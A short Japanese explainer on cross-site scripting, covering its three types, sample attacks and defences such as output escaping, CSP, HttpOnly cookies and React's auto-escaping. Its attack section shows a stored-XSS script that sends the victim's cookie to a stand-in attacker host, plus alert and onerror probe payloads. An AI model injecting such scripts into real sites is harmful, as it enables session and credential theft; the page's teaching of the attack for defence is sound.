XSS
Web サイトに悪意のあるスクリプトを注入し、ユーザーの情報を盗む攻撃
セキュリティWeb
XSS とは
XSS (Cross-Site Scripting) は、Web サイトに悪意のある JavaScript を注入し、ユーザーの Cookie、セッション、個人情報を盗む攻撃である。OWASP Top 10 に常にランクインする主要な脆弱性。詳細は「XSS 詳解」を参照。
3 つの種類
| 種類 | 説明 | 例 |
|---|---|---|
| 反射型 (Reflected) | URL パラメータ経由で注入 | ?q=<script>alert(1)</script> |
| 格納型 (Stored) | DB に保存されたスクリプトが表示 | コメント欄にスクリプトを投稿 |
| DOM ベース | クライアント側の JS で注入 | innerHTML に未サニタイズの値 |
攻撃の例
<!-- 格納型 XSS: コメント欄に投稿 -->
<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>
<!-- DOM ベース XSS -->
<script>
document.getElementById('output').innerHTML = location.hash.slice(1);
// URL: https://example.com/#<img src=x onerror=alert(1)>
</script>
防御策
| 対策 | 説明 |
|---|---|
| 出力エスケープ | HTML エンティティに変換 (< → <) |
| CSP | スクリプトの実行元を制限 |
| HttpOnly Cookie | JS から Cookie にアクセス不可 |
| React の自動エスケープ | JSX は自動的にエスケープ |
React での防御
// ✅ React は自動的にエスケープ
<p>{userInput}</p>
// userInput が "<script>alert(1)</script>" でも
// → <script>alert(1)</script> として表示
// ❌ dangerouslySetInnerHTML は XSS の危険
<div dangerouslySetInnerHTML={{ __html: userInput }} />
CSP (Content Security Policy)
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com
インラインスクリプトの実行を禁止し、許可されたオリジンからのスクリプトのみ実行を許可する。
実務での活用方法は関連書籍にも詳しい。